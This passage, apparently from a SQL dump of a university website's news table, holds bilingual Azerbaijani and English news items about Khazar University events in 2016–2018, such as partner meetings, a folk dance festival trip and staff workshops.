olaraqkeçirildi.\r\nXatırladaqki,\r\nilkgörüş\r\n2016-cı iliyunun\r\n2-də keçirilmişdi.\r\n</p>\r\n<p>Budəfə keçiriləngörüşdə\r\nFransa-AmerikaBiznesMəktəbini<strong></strong>Lion şöbəsində\r\nBeynəlxalq İnkişafvə Layihə drektoruvəzifısində\r\nçalışanValidaMechrivə məktəbinelmiişlər\r\nüzrə mütəxəssisiKathrynGuillottəmsiledirdilər. XəzərUniversitetiisə İqtisadiyyat və menecment fakültəsinin dekanı Dr.\r\nİnqilab Əhmədov, İqtisadiyyat və menecment departamentinin müdiri Dr. Ceyhun Məmmədov\r\nvə Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova ilə təmsil olunurdu. </p>\r\n<p>Görüşdə müzakirə olunan əsas məsələ gələcək\r\nakademik əməkdaşlıqla bağlı idi. Xüsusi diqqət <em>Erasmus+</em> proqramı, eləcə də, iki universitet arasında qarşılıqlı anlaşamalar\r\nçərçivəsində tələbə və işçi mübadiləsi məsələlərinə verilmişdi. Bu iki müəssisə\r\narasında anlaşma memorandumunun yaxın günlərdə imzalanacağı gözlənilir. </p>\r\n<p>Görüşün növbəti günü – oktyabrın 20-də Xəzər\r\nUniversitetinin “Neftçilər” kampusunda universitetin tələbələri üçün Beynəlxalq\r\nBiznes və Menecment İnsitutu tərəfindən təqdimat keçiriləcək.</p>'),(2702,1617,'en','Student Journalists’ Team Created','On November 28, the Khazar University News Group held a meeting with volunteer students from the School of Engineering and Applied Science, School of Economics and Management...','<p>On\r\nNovember 28, the Khazar University News Group held a meeting with volunteer\r\nstudents from the School of Engineering and Applied Science, School of\r\nEconomics and Management, and School of Humanities and Social Sciences about a\r\nStudent Journalists’ Team that is being formed. </p>\r\n<p>The\r\nmeeting was opened by Honored Journalist Alirza Balayev, deputy editor of\r\nKhazar Review magazine and head of the Khazar News Group, who explained that\r\nthe Student Journalists’ Team is being formed upon the recommendation of the\r\nuniversity administration and its objective is to increase the efficiency of\r\nuniversity news reporting on internal events. </p>\r\n<p>Other\r\nparticipants in the meeting included Jabir Mammadov, Chair of the Journalism\r\nDepartment; Martha Lawry, English Editor for the Khazar Review journal; and\r\nAlik Alioghlu, Director of the Electronic Media Center; who are all members of\r\nthe Khazar News Group. They gave students information about the work principles\r\nof the group and decided to hold a training for student team members. </p>\r\n<p>At\r\nthe end of the event, related documents were distributed to the students and\r\ntheir questions were answered.&nbsp;</p>'),(2703,1618,'az','Mühəndislik və tətbiqi elmlər fakültəsinin dekanı “Milla” şirkətinin baş meneceri ilə görüşdü','2016-cı il noyabrın 28-də Mühəndislik və tətbiqi elmlər fakültəsinin dekanı Hassan Niknafs və Kimya departamentinin koordinatoru Rəsul Muradi “Milla” şirkətinin baş meneceri...','<p>2016-cı il noyabrın 28-də&nbsp;Mühəndislik və tətbiqi elmlər fakültəsinin dekanı&nbsp;Hassan Niknafs və Kimya departamentinin koordinatoru Rəsul Muradi “Milla” şirkətinin baş meneceri Filip Raytla görüş keçirdi. Görüşün məqsədi “Milla” şirkəti ilə əməkdaşlıq etmək və bu sahədə imkanları genişləndirmək idi.</p>\r\n<p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Kimya mühəndisliyi tələbələrinin zavodun bioreactor, istilikdəyişdirici&nbsp; və ayırma kimi təchizatları ilə, Mexanika mühəndisliyi tələbələrinin ekstrüderlər və qəlibə salınma təchizatları ilə tanış olması məqsədilə zavoda bir günlük turun təşkil olunmasına dair razılıq əldə olundu. Bundan əlavə, Kimya mühəndisiliyi ixtisasında təhsil alan tələbələrin “Milla” şirkətində yay təcrübəsi keçməsinə və şirkətin tədqiqat və inkişaf menecerinin Xəzər Universitetində seminarının təşkil edilməsinə dair qərar qəbul olundu. Gələcəkdə əməkdaşlıq əlaqələrinin daha da genişlənməsi vurğulandı.</p>'),(2393,1449,'en','State Restoration of Independence Commemorated in History Classes','On October 18, 2016, Azerbaijani History classes at Khazar University commemorated the 25th anniversary of the restoration of independence of the Azerbaijan Republic...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 18, 2016, Azerbaijani History\r\nclasses at Khazar University commemorated the 25th anniversary of the\r\nrestoration of independence of the Azerbaijan Republic. People who have lost\r\ntheir lives on the road to independence and for its preservation were also\r\nremembered.&nbsp;</p>'),(2394,1451,'en','Meeting with CEFAM, International School of Business and Management – Lyon and USA','On October 19, 2016, a meeting with representatives of the International School of Business and Management – Lyon and USA (CEFAM)...','<p>On October 19, 2016, a meeting with representatives of the\r\nInternational School of Business and Management – Lyon and USA (CEFAM) was held on the\r\nNeftchiler campus of Khazar University.</p>\r\n<p>The meeting was a follow-up on collaboration that started at the end of the\r\nlast academic year. The first meeting with CEFAM took place on\r\nJune 2, 2016. &nbsp;</p>\r\n<p>At the follow-up meeting, CEFAM was represented\r\nby\r\nValida Mechri, International Development and\r\nProject Manager at&nbsp;Groupe IGS Lyon, and\r\nKathryn Guillot, Academic Specialist at CEFAM. Participants from Khazar\r\nUniversity included Dr. Ingilab\r\nAhmadov, Dean of the School of Economics and Management, Dr. Jeyhun Mammadov,\r\nHead of the\r\nDepartment of Economics and Management, and Ms. Turan\r\nJafarova, Director of the International Affairs Office.</p>\r\n<p>Topics discussed during\r\nthe meeting included possible means of future academic collaboration. Specific attention was given to partnering\r\nwithin the Erasmus Plus programme as well as to direct exchange of students and staff between the two universities. A\r\nmemorandum of understanding will soon be signed between CEFAM and Khazar\r\nUniversity.</p>\r\n<p>Following the meeting, a presentation of CEFAM to students of Khazar\r\nUniversity will be held on October 20, 2016 on the university’s Neftchiler campus. &nbsp;</p>'),(2395,1452,'en','Presentation of CEFAM International School of Business and Management at Khazar University ','On October 20, 2016, the International School of Business and Management in Lyon (CEFAM) conducted a presentation for students of the...','<p>On October 20, 2016,\r\nthe International School of Business and Management in Lyon (CEFAM) conducted a\r\npresentation for students of the School of Economics and Management. The\r\npresentation took place on the Nefcthiler campus.</p>\r\n<p>The presentation was\r\nconducted by Ms. Kathryn Guillot, Academic Specialist at CEFAM. Ms. Guillot\r\ninformed the students about CEFAM, its programs, study abroad opportunities,\r\nlife in Lyon, and provided other information. Ms. Valida Mechri, International Development and Project Manager at&nbsp;Groupe IGS Lyon, also took part in the\r\npresentation. </p>\r\n<p>The presentation ended\r\nwith a question and answer session. &nbsp;</p>'),(2396,1452,'az','Beynəlxalq Biznes Məktəbi Xəzər Universitetinin tələbələri üçün təqdimat keçirdi','2016-cı il oktyabr 20-də Lion Beynəlxalq Biznes Məktəbi (CEFAM) Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələri üçün təqdimat keçirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il oktyabr 20-də Lion Beynəlxalq Biznes Məktəbi (CEFAM) Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin\r\ntələbələri üçün\r\ntəqdimat keçirdi. Təqdimat\r\nuniversitetin “Neftçilər”\r\nkampusunda baş tutdu.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təqdimatı Beynəlxalq Biznes Məktəbinin\r\nakademik işlər üzrə mütəxəssisi\r\nKathryn Guillot apardı. O, tələbələrə Beynəlxalq Biznes Məktəbi, mövcud\r\nproqramlar, xaricdə təhsil\r\nimkanaları, Lionda\r\nhəyat və s. haqqında məlumat verdi. Beynəxalq Biznes Məktəbini\r\ntəmsil edən digər nümayəndə də təqdimatda\r\niştirak edirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təqdimat\r\nsualların\r\ncavablandırılması ilə başa çatdı.&nbsp;</p>'),(2397,1450,'en','Knowledge Bowl Supported by Youth Foundation','In December 2016, an intellectual competition will be held with the organizational support of the Youth Foundation of the President of the Azerbaijan Republic....','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">In December 2016, an intellectual\r\ncompetition will be held with the organizational support of the Youth\r\nFoundation of the President of the Azerbaijan Republic. The competition, part\r\nof a project called “Science Party,” will cover history, geography, culture and\r\nliterature of the Ancient East. The objective of the competition is to develop\r\nAzerbaijani young people’s understanding and interest in world history and\r\nnational heritage as well as to increase awareness of popular science in\r\nsociety. It is also supported by the Archeology and Ethnography Institute of\r\nAzerbaijan National Academy of Sciences, Khazar University Department of\r\nHistory and Archeology, and Society of Azerbaijani Archeologists. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Winners will be given valuable and\r\nunique gifts as well as certificates. The exact time and place of the\r\ncompetition will be announced. For more information, please see the Elm Şənliyi/<em>Science\r\nParty</em> page on Facebook. <a href=\"https://www.facebook.com/scienceparty2016/\">https://www.facebook.com/scienceparty2016/</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Those who are interested\r\ncan also call (055) 854 41 65.</p>'),(1885,1159,'az','Xəzər Universiteti Giresun Aksu Festivalında',' Xəzər Universitetinin Mahnı və Rəqs Ansamblı Kahramanmaraşdakı konsertlərini bitirdikdən sonra Giresun şəhərinə hərəkət etdi.','<p><strong>&nbsp;</strong>Xəzər\r\nUniversitetinin Mahnı və Rəqs Ansamblı Kahramanmaraşdakı konsertlərini\r\nbitirdikdən sonra Giresun şəhərinə hərəkət etdi.</p>\r\n<p>Mayın 18-də Xəzər\r\nUniversitetinin kollektivi 11 saatlıq yolu qət edərək, gecə saatlarında\r\nGiresuna yetişdi. Giresun Bələdiyyəsinin nümayəndəsi Murat Akın Xəzər\r\nUniversitetini qarşıladı və yeməyə dəvət etdi. Giresin Valiliyi və Giresin Bələdiyyə\r\nBaşkanlığının dəvəti ilə ilk dəfə olaraq&nbsp; Azərbaycanı Aksu Festivalında Xəzər\r\nUniversiteti təmsil edəcəkdi. Bu il 39-cu Beynəlxalq Aksu Festivalı keçiriləcəkdi.\r\nGiresun Qara dənizin sahilində yerləşən bir liman şəhəridir. Xəzər Universiteti\r\nfestivala iştirakçı sayına görə ən böyük heyətlə qatılırdı. Festivalda\r\nGürcüstan, Makedoniya, Türkiyə, Slovakiya,&nbsp; KKTC və digər dövlətlər\r\niştirak edirdilər. Xəzər Universitetinin kollektivi üçün Türkiyənin ən böyük\r\n“12 dev adam” basketbol komandasının avtobusu ayrılmışdı. Qrupu Giresun Aksu\r\nFestivalında Giresun Bələdiyəsi tərəfindən təyin olunmuş İstiqlal Ay, Elif\r\nAtlı, Eftal Özdemir müşayiət edirdilər. Xəzər Universiteti Qara dənizin\r\nsahilində yerləşən “Amazon” otelində yerləşdirildi. </p>\r\n<p>Proqrama\r\nuyğun olaraq, mayın 19-da 39-cu Beynəlxalq Giresun Aksu Festivalının yürüşü\r\nüçün hazırlıq işləri görülməli idi. Bununla əlaqədar, universitetin qızlardan və\r\noğlanlardan ibarət rəqs qruplarının milli geyimdə yürüşə qatılması qərara\r\nalındı. Dövlətin və universitetin bayraqları,&nbsp; ad yazıları olan banerlər\r\nyürüş üçün hazırlandı. Xəzər Universiteti festivala ilk dəfə qatıldığı üçün öz\r\nölkəsini və universiteti laqiqincə təmsil etməyi düşünürdü. Yürüşə saat\r\n18:00-da start verildi. Giresunun mərkəzi sayılan Yeniyol-Debboy-Qazi prospektlərindən\r\nkeçərək, Atatürk Meydanına kimi, təxminən 2 km yol qət edilməli idi. Yürüş\r\nbaşlayar-başlamaz “Azərbaycan-Türkiyə”, “Şəhidlər ölməz-Vətən bölünməz”\r\nşüarları qrupumuz tərəfindən səsləndirilməyə başlandı. Şüarlarımız&nbsp; bütün\r\nGiresunu bürümüşdü. Yol boyu binaların balkonlarından, mağazalardan hər kəs bizə\r\nqoşulurdu. Azərbaycan-Türkiyə bayraqları dalğalandıqca, giresunlular bizə –Azərbaycana\r\nəl işarələri ilə sevgilərini ifadə edirdilər. Vətəndaşlar Xəzər Universitetinin\r\nqrupu ilə xatirə şəkilləri çəkdirmək üçün növbəyə dururdular. Yürüşün bu qədər\r\nmöhtəşəm və diqqətçəkən olacağını düşünməmişdik. Yürüşdən sonra Giresun Bələdiyyəsinin\r\nbaşqanı adından festivalda iştirak edən qonaqların şərəfinə ziyafət verildi.</p>\r\n<p>Mayın 20-də səhər\r\nsaat 10-da Giresun Bələdiyyəsinin qarşısında yerləşən Atatürk Meydanındakı\r\nAtatürk heykəli önündə əklil qoyulma mərasimi oldu. Sonra Giresunun mərkəzi\r\nstadionunda 39-cu Beynəlxalq Giresun Aksu Festivalının rəsmi açılışı oldu.\r\nGiresun Bələdiyyəsinin başqanı Kərim Aksu açılış nitqi söylədi və festivalda\r\niştirak edən dövlətlərin nümayəndələrini səmimi salamladı.</p>\r\n<p>Proqrama görə,\r\nfestivalın 1-ci günü Azərbaycan (Xəzər Universiteti) səhnəyə ən sonuncu\r\nçıxacaqdı. Makedoniya, Gürcüstan, KKTC, Bosniya, Slovakiya və digər ölkələrin\r\nnümayəndələri növbə ilə çıxışlarını etdilər. Səhnəyə Azərbaycan dəvət edildi.\r\nBütün qruplara olduğu kimi, Azərbaycan adından festivalda iştirak edən Xəzər\r\nUniversitetinə də 10 dəqiqə vaxt verilmişdi. Azərbaycan təmsilçilərinin (“xəzərli”lərin)\r\nilk rəqsindən sonra bütün televiziya kanalları bizimlə görüşmək və müsahibə\r\nalmaq üçün qrup rəhbərlərinə doğru yönəldilər. Tamaşaçıların uzun sürən\r\nalqışları bizləri çox sevindirirdi. Qeyd etmək istərdik ki, Aksu Festivalı\r\ncanlı olaraq Kanal 24, Kanal G (Giresun), Mavi Karadeniz, Kanal A\r\nteleviziyaları vasitəsilə yayımlanırdı. TV-lərə müsahibə verdik. Tələbələrimizin\r\nuğurlu çıxışı hər kəsin ürəyincə olmuşdu. Bu bizi çox sevindirirdi. Həmin gün\r\nfestival proqramının 2-ci hissəsi Giresunun ən yüksək zirvəsi sayılan,\r\ngiresunluların istirahət mərkəzi olan Giresun Qalasında olacaqdı. Giresun\r\nQalasında digər ölkələrdən fərqli olaraq proqramımızı və geyimlərimizi tamamən\r\nyenilədik. Rəqs müəllimlərimiz Telman Əliyevin, Səbinə İsmayılovanın və\r\nproqramın musiqi rəhbəri Zülfiyyə Sadıqovanın dəstəyi ilə rəqs qruplarımız\r\nGiresun Qalasında 4-cü sırada səhnəyə çıxacaqdı. Bunun üçün vaxtımız çox az\r\nidi. Amma qala meydanında toplaşanların danışıqlarından bəlli olurdu ki,\r\nmeydana gələnlər Azərbaycan qrupunun çıxışlarını gözləyirdilər. Azərbaycanın\r\nadı elan olunduğu zaman sürəkli alqışlar sədası altında tələbələrimiz meydana\r\ndaxil oldular. Bütün vətəndaşlar, böyüklü-kiçikli “Tello” rəqsini rəqs\r\nkollektivimizlə birlikdə rəqs edirdilər. Azərbaycan qrupunun festivalda\r\niştirakı canlı yayımlanan Aksu Festivalına çox böyük maraq yaratmışdı.\r\nTeleviziya nümayəndələri bunu nəzərə alaraq, Xəzər Universitetinin rəqs\r\nqrupları üzvlərini iki gün sonra televiziyaya canlı proqrama dəvət etdilər.\r\nLakin geri dönüşümüzlə əlaqədar bizim buna imkanımız olmadığı üçün onlara təşəkkür\r\netdik. İkinci proqramdan sonra Giresunda tam məşhurlaşmışdıq. Artıq qarşılaşdığımız\r\nhər kəs bizimlə əl verib görüşür, gözəl çıxışlarımıza görə təbrik edirdilər. Həmin\r\ngün axşam yeməyindən sonra festivala gələn qonaqların şərəfinə əyləncəli\r\nproqram təşkil edildi. Xəzər Universitetinin tələbələri gecə yarısına kimi əyləndilər.</p>\r\n<p>Mayın 21-də,\r\nproqrama uyğun olaraq, bütün qruplardan 4 nəfər olmaqla, Giresun Bələdiyyəsinin\r\nbaşqanı Kərim Aksunu iş yetrində ziyarət etdik. Azərbaycanı təmsil etdiyimiz\r\nüçün, Giresun Bələdiyyəsi tərəfindən bizə göstərilən diqqətə görə universitet\r\nadından bələdiyyə başqanına təşəkkür etdik, ona universitet adından qiymətli hədiyyə\r\ntəqdim etdik. Bələdiyyə başqanını ziyarət etdikdən sonra Atatürk meydanında təşkil\r\nediləcək sonuncu proqramda iştirak etmək üçün&nbsp; hazırlıqlara başladıq.\r\nArtıq Atatürk meydanı giresunlularla dolmuşdu. Balkonlardan hər kəs Aksu&nbsp;\r\nFestivalının sonuncu rəqslərini izləmək üçün meydana toplaşmışdılar. Rəqs müəllimlərimizlə\r\nbirlikdə rəqslərimizin siyahısını hazırladıq. Giresunluların da istəyini nəzərə\r\nalaraq, proqramda on dəqiqə yerinə 20 dəqiqəlik proqram olmaqla 7 rəqsi seçdik.\r\nBütün rəqslərin də geyimləri hər rəqsə uyğun olaraq dəyişdirilməli idi. Bunun\r\nüçün bələdiyyənin bir otağını oğlanlara, “12 dev adam” avtobusunu isə qızlara\r\nsoyunub-geyinmək yeri kimi hazırladıq. Proqramda bizim çıxışımız altıncı sırada\r\nidi. Aparıcı Azərbaycandan gələn nümayəndələrin çıxışını elan etdiyində, hər\r\nyeri alqış sədaları bürüdü. Rəqqas qızlarımız türk və hind rəqsləri ilə\r\ngiresunluları ovsunladılaır. Oğlanlardan və qızlardan ibarət ibarət rəqs\r\nqruplarımızın ifasında “Çobanlar” , “Qazax”, “Özbək”, “Tello” və&nbsp; son\r\nolaraq “Yallı” rəqsi giresunluların sürəkli alqışlarına səbəb oldu. Aparıcı\r\ntamaşaçıların alqışlarını nəzərə alaraq, məndən əlavə olaraq bir neçə nömrə\r\ngöstərməmizi xahiş etdi. Müəllimlərimizlə belə qərara gəldik ki, öncə “Qaytağı”\r\nrəqsi, sonra isə Musa Abdulla “Sarı gəlin”i ifa etsin, rəqs müəlliməsi Səbinə\r\nİsmayılova da eyni musiqinin sədaları altında rəqs etsin. 15 dəqiqə sonra\r\naparıcı “Qardaş Azərbaycan” deyərək, 2-ci dəfə bizi səhnəyə dəvət etdi. Rəqqas\r\noğlanlarımız “Qaytağı” rəqsini məharətlə ifa etdilər. Alqışlar kəsilmirdi.\r\nArdınca səhnəyə Musa Abdulla qara kostyum, sarı qalstukda (“O səs Azərbaycan”\r\nyarışmasının final iştirakçısı) və Səbinə İsmayılova sarı milli rəqs\r\nkostyumunda səhnəyə çıxdılar. “Sarı gəlin” ifası və onunla birlikdə rəqs\r\nkompozisiyası giresunluları heyran etdi. Doğrusunu desək, biz də bu nömrənin bu\r\nqədər uğurlu alınacağını heç gözləmirdik. “Sarı gəlin” mahnısını vətəndaşlar da\r\nbizimlə birlikdə ifa edirdilər. İnsanlar o anı yaddaşa almaq üçün səhnəyə kimi\r\nyürüyürdülər. Hətta Təhlükəsizlik Xidmətinin əməkdaşları belə izdihamının önünə\r\nkeçə bilmirdilər. Amma vətəndaşların Azərbaycana olan sevgisini anlayışla\r\nqarşılayırdılar. Atatürk meydanında həyata keçirilən Aksu Festivalını 5\r\nteleviziya kanalı canlı olaraq yayımlayırdı. Müəllimlərimizin, tələbələrimizin\r\nuğurları bizi çox sevindirirdi. O anları canlı olaraq yaşadığımız üçün çox\r\nsevincli idik. Bu bizim kollektivimizin Giresunda son çıxışı idi. Axşam\r\nGiresundan Sarpa, oradan da Bakıya yola düşmək üçün otelə dönüb hazırlaşmalı\r\nidik.</p>\r\n<p>Axşam saat\r\n20:00-də əşyalarımızı toplayıb, dönüş üçün tam hazır idik. Giresun Bələdiyyəsinin\r\nnümayəndələri Hasan Özdemir, Murat Akın, Eftal&nbsp; Özdemir, Elif Atlı və digər\r\nnümayəndələr bizimlə vidalaşmaq üçün otelin qarşısında gözləyirdilər.\r\nDostlardan ayrılmaq, əlbəttə, bizlər üçün də asan deyildi. Amma yeni səfərlər\r\nüçün Bakıya –Xəzər Universitetinə dönməli idik. Avtobusumuz Sarpa doğru hərəkət\r\netdi. Gecə saatlarında “Sınıq körpü” gömrük qapısına yetişdik. Gömrük\r\nqarşısında Azərbaycanın möhtəşəm üçrəngli bayrağı əzəmətlə dalğalanırdı.\r\nGürcüstan gömrüyündə yaşadığımız kiçik bir insidenti unutmaq üçün tələbələrimizlə\r\no bayrağın&nbsp; qarşısında xatirə şəkilləri çəkdirdik. Yolboyu avtobusda\r\nTürkiyə ilə Azərbaycan arasında tarixən yaradılmış “acı bağırsaqları” nə vaxt kəsib\r\natacağımızı düşünürdüm. Bu arzularla Bakıya, doğma&nbsp; universitetimizə\r\nyetişdik. Yorğun, amma böyük sevinclə...</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Əlövsət Əmirbəyli,</em></strong></p>\r\n<p><em>Giresun-Bakı</em></p>\r\n<p><em>18-22 may 2016&nbsp;</em></p>'),(1886,1160,'az','“Xəzərli”lər Fəal Müəllim Beynəlxalq elmi seminarında','2016-cı il mayın 29-da Azərbaycan dili və ədəbiyyatı departamentinin müəllimləri Elmira Məmmədova-Kekeç, İlahə Hacıyeva, departamentin assistenti Günel İsmayılova və həmin departamentdə Azərbaycan dili və mədəniyyətini öyrənən Polşadan gəlmiş sərbəst tədqiqatçı Julia Krajcarz ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil mayın 29-da Azərbaycan dili və ədəbiyyatı departamentinin müəllimləri Elmira\r\nMəmmədova-Kekeç, İlahə Hacıyeva, departamentin assistenti Günel İsmayılova və həmin\r\ndepartamentdə Azərbaycan dili və mədəniyyətini öyrənən Polşadan gəlmiş sərbəst\r\ntədqiqatçı Julia Krajcarz&nbsp; “Fəal müəllim-Beynəlxalq\r\ntəcrübənin müasir tətbiqləri” Beynəlxalq elmi seminarında iştirak etdilər.\r\nSeminar Müasir İnnovasiyalar Liseyinin təşkilatçılığı ilə Odlar Yurdu\r\nUniversitetində keçrildi. Seminara müxtəlif universitet və məktəblərdən olan müəllimlər\r\nqatılmışdılar. Seminar sual-cavab əsasında keçrildi. Sonda hər bir seminara gələn\r\niştirakçı sertifikatı ilə təmin olundu.</p>'),(1887,1161,'az','Xəzər Universiteti Kamera Orkestri “Space” TV-də','2016-cı il mayın 29-da “Space” TV-də “Ulduzlu Səhər” verilişində Musiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıqovanın rəhbərliyi ilə Xəzər Universiteti Kamera Orkestri çıxışı etdi.','<p>2016-cı il mayın 29-da “Space” TV-də\r\n“Ulduzlu Səhər” verilişində Musiqi və incəsənət departamentinin müdiri Zülfiyyə\r\nSadıqovanın rəhbərliyi ilə Xəzər Universiteti Kamera Orkestri çıxışı etdi.\r\nKamera Orkestrin müşayiəti ilə xalq artisti Samir Cəfərovun ifasında sözləri\r\nHamlet İsaxanlıya məxsus olan “Bakı” mahsını da səsləndi. </p>\r\n<p>&nbsp;</p>'),(1889,1163,'az','Xəzər Universitetində keçirilən simulyasiya mətbuatda','Xəzər Universitetində “Dağlıq Qarabağ münaqişəsinin həlli modeli” mövzusunda keçirilmiş simulyasiya haqqında azpress.az saytında xəbər yayınlanmışdır.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetində “Dağlıq Qarabağ münaqişəsinin həlli modeli” mövzusunda\r\nkeçirilmiş simulyasiya haqqında <strong><em>azpress.az</em> </strong>saytında xəbər\r\nyayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar:<strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=54057\">http://azpress.az/index.php?lang=az§ionid=news&amp;id=54057</a></p>'),(2419,1456,'en','Student Union Holds Seminar on “The Role of Computer and Language Skills in Daily Life” ','On October 18, 2016, the Khazar University Student Union held a seminar entitled “The Role of Computer and Language Skills in Daily Life.” Over 50 students had...','<p>On October 18,\r\n2016, the Khazar University Student Union held a seminar entitled “The Role of\r\nComputer and Language Skills in Daily Life.” Over 50 students had registered\r\nfor the seminar. Participants learned new information about computers and daily\r\nlife. They also asked the trainer many questions. This training was led by EDU\r\nCompany Training Center and was especially useful for first-year students. </p>\r\n<p>&nbsp;</p>'),(2073,1258,'az','Estoniyalı qonaq mühazirəçi EMBER layihəsi çərçivəsində Xəzər Universitetində mübadiləsini tamamladı','2016-cı il iyulun 11-də cari ilin yaz semestrində Xəzər Universitetində qonaq olan estoniyalı qonaq mühazirəçi Marye Mets Erasmus...','<p>2016-cı il iyulun 11-də cari ilin yaz semestrində Xəzər Universitetində qonaq olan estoniyalı qonaq mühazirəçi Marye Mets Erasmus Mundus proqramının EMBER layihəsi çərçivəsində mübadilə proqramını tamamladı.</p><p>Marye Mets Tallin Texnologiya Universitetinin tabeliyində olan Estoniya Dəniz Akademiyasında mühazirəçidir. O, idarəetmə psixologiyası, ümumi idarəetmə, ünsiyyət, etika və etiket (əxlaq nəzəriyyəsi və davranış normaları) kimi fənləri tədris edir. Marye Tallin Universitetindən Təşkilati Davranış ixtisası üzrə magistr dərəcəsi almışdır. Xəzər Universitetində mobilliyi müddətində Marye Mets İqtisadiyyat və menecment fakültəsinin bakalavr tələbələrinə insan resurslarının idarə olunması fənninindən mühazirələr oxumuşdur. O, həmçinin beynəlxalq tələbə və müəllimlərin adaptasiyası ilə bağlı tədqiqat da aparırdı.</p><p>EMBER layihəsi Qərbi/Mərkəzi/Şərqi Avropa və Cənubi Qafqazdan olan iyirmi tərəfdaş və dörd əlaqədar tərəfdaş ali təhsil müəssisələrindən ibarət konsorsiumdur. Layihənin hədəf sahələri iqtisadiyyat, biznes, dillər və sosiologiyadır. Xəzər Universitetində EMBER layihəsi Beynəlxalq Əlaqələr Şöbəsi tərəfindən idarə olunur.</p>'),(1909,1170,'az','Tarixi','Tarixi','<p>Azərbaycan dili və ədəbiyyat Departamenti 1995-ci ilin May ayında yaradılmış və hal-hazırda Xəzər Universiteti&nbsp;fakültələrinin tələbələri üçün Azərbaycan dili və ədəbiyyat üzrə bakalavr və magistr dərəcəsi və bu iki sahələrdə fənlər təklif edilib.</p><p>2006-cı ildən Azərbaycan dili və ədəbiyyatı adlı bakalavr dərəcə proqramı, 2009-cu ildən isə Azərbaycan dili və ədəbiyyatı müəllimliyi bakalavr dərəcə proqramı təklif olunur.</p>'),(4734,2807,'en','Workshop conducted for the staff of Khazar University','On January 5, 2018, a workshop on Writing a Budget of Erasmus+ KA2 Projects was conducted...','<p>On January 5, 2018, a workshop on <strong><em>Writing a Budget of Erasmus+&nbsp;KA2 Projects</em></strong> was conducted for the staff of Khazar University by Rima Mammadova, a project coordinator. During the workshop, the participants were given a presentation about how to write a budget and then everyone worked on the ERASMUS+ budget Excel&nbsp;files which had been installed on the computer beforehand.</p>'),(2655,1594,'az','Türkiyəli qonaqlar Xəzər Universitetində oldular','2016-cı il noyabrın 22-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Türkiyə Cümhuriyyətinin Prezidenti R.T.Erdoğanın...','<p>2016-cı il noyabrın 22-də Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı Türkiyə Cümhuriyyətinin Prezidenti R.T.Erdoğanın Baş müşaviri,\r\nkeçmiş Mədəniyyət və Turizm Naziri Yalçın Topçunu, TBMM-nin AK Parti Ordu Millət\r\nvəkili Metin Gündoğdunu və digər şəxsləri qəbul etdi. Y.Topçu H.İsaxanlıya hədiyyə\r\ntəqdim etdi. Sonra türkiyəli qonaqlar “Mərmər” zalda universitetin tələbələri\r\nilə görüşdülər. Y.Topçu tələbələr qarşısında Türkiyədəki ictimai-siyasi vəziyyətlə\r\nbağlı məruzə etdi, tələbələrin suallarını cavablandırdı. </p>\r\n<p>H.İsaxanlı türkiyəli dövlət\r\nadamına universitet rəhbərliyi və tələbələr adından dərin təşəkkürünü bildirdi.\r\nXatirə şəkilləri çəkildi. Qonaqların şərəfinə ziyafət verildi.</p>'),(2471,1494,'az','CEYMS MİLLAR İLƏ İNGİLİS DİLİ DANIŞIQ KLUBU – ƏLAVƏ SESSİYALAR','Tələbə və işçi heyətindən gələn çoxsaylı müraciətləri nəzərə alaraq, danışıq klubunun cədvəlinə əlavə sessiyalar daxil edilir. Danışıq klubuna aşağıda qeyd olunan vaxtlarda qoşula bilərsiniz...','<p>Tələbə və\r\nişçi heyətindən gələn çoxsaylı müraciətləri nəzərə alaraq, danışıq klubunun cədvəlinə\r\nəlavə sessiyalar daxil edilir. Danışıq klubuna aşağıda qeyd olunan vaxtlarda\r\nqoşula bilərsiniz:</p><p></p><ul><li>ÇƏRŞƏNBƏ AXŞAMI – 12:00</li><li>CÜMƏ AXŞAMI – 12:00 və 14:00</li></ul><p></p>\r\n<p>Qeydiyyat üçün İngilis dili və ədəbiyyatı\r\ndepartamentinə yaxınlaşın (Mehseti 41, Neftçilər kampusu, otaq 308).</p><p><img src=\"/files/admin/conversation%202016.jpg\" style=\"width:450px;height:633px;margin:7px;float:left\"><br></p>'),(2472,1480,'en','Aysel Heydarova','Aysel Heydarova','<p style=\"font-size:large\"><strong>Research Associate of&nbsp;\"Center for Cell Pathology Research\"&nbsp;Laboratory</strong></p><div style=\"font-size:large\">MSc in Biotechnology (Norwegian 